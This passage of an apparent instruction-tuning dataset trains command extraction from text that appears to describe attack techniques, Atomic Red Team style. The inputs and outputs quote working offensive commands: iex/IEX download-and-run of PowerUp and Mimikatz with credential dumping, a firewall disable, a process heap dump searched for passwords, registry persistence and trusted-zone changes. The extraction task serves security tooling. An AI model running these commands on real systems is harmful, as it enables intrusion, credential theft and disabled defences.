$env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can verify if remote desktop services are running by executing this command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"",
    "output": "{\"command_list\": [\"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For the current profile, you can turn off the Microsoft Defender Firewall by executing this command: netsh advfirewall set currentprofile state off. Be careful when accessing the host remotely, as cleanup may reactivate the firewall.",
    "output": "{\"command_list\": [\"netsh advfirewall set currentprofile state off\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can check the system language configuration with the command: chcp. The numeric result can be referenced against language code tables for identification.",
    "output": "{\"command_list\": [\"chcp\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For memory extraction from a target process using shell utilities, execute this multi-step command: sh #{script_path}\nPID=$(pgrep -n -f \"#{pid_term}\")\nHEAP_MEM=$(grep -E \"^[0-9a-f-]* r\" /proc/\"$PID\"/maps | grep heap | cut -d' ' -f 1)\nMEM_START=$(echo $((0x$(echo \"$HEAP_MEM\" | cut -d\"-\" -f1))))\nMEM_STOP=$(echo $((0x$(echo \"$HEAP_MEM\" | cut -d\"-\" -f2))))\nMEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))\ndd if=/proc/\"${PID}\"/mem of=\"#{output_file}\" ibs=1 skip=\"$MEM_START\" count=\"$MEM_SIZE\"\ngrep -i \"PASS\" \"#{output_file}\"",
    "output": "{\"command_list\": [\"sh #{script_path}\\nPID=$(pgrep -n -f \\\"#{pid_term}\\\")\\nHEAP_MEM=$(grep -E \\\"^[0-9a-f-]* r\\\" /proc/\\\"$PID\\\"/maps | grep heap | cut -d' ' -f 1)\\nMEM_START=$(echo $((0x$(echo \\\"$HEAP_MEM\\\" | cut -d\\\"-\\\" -f1))))\\nMEM_STOP=$(echo $((0x$(echo \\\"$HEAP_MEM\\\" | cut -d\\\"-\\\" -f2))))\\nMEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))\\ndd if=/proc/\\\"${PID}\\\"/mem of=\\\"#{output_file}\\\" ibs=1 skip=\\\"$MEM_START\\\" count=\\\"$MEM_SIZE\\\"\\ngrep -i \\\"PASS\\\" \\\"#{output_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable attacks such as C2 over Office365, attackers may add a domain to the trusted site zone. This action will display details of new registry entries upon execution. The modified entry can be viewed in Registry Editor at HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\, with the command:\n$key= \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\#{bad_domain}\\\"\n$name =\"bad-subdomain\"\nnew-item $key -Name $name -Force\nnew-itemproperty $key$name -Name https -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name http  -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name *     -Value 2 -Type DWORD;",
    "output": "{\"command_list\": [\"$key= \\\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Domains\\\\#{bad_domain}\\\\\\\"\\n$name =\\\"bad-subdomain\\\"\\nnew-item $key -Name $name -Force\\nnew-itemproperty $key$name -Name https -Value 2 -Type DWORD;\\nnew-itemproperty $key$name -Name http  -Value 2 -Type DWORD;\\nnew-itemproperty $key$name -Name *     -Value 2 -Type DWORD;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique adds persistence by modifying the Recycle Bin's behavior, executing calc.exe upon clicking, with the command: reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f",
    "output": "{\"command_list\": [\"reg ADD \\\"HKCR\\\\CLSID\\\\{645FF040-5081-101B-9F08-00AA002F954E}\\\\shell\\\\open\\\\command\\\" /ve /d \\\"calc.exe\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can dump stored credentials by executing this Powershell command that loads and runs Mimikatz remotely: IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds",
    "output": "{\"command_list\": [\"IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows change password functionality can be disabled through registry modification with the command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableChangePassword /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v DisableChangePassword /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
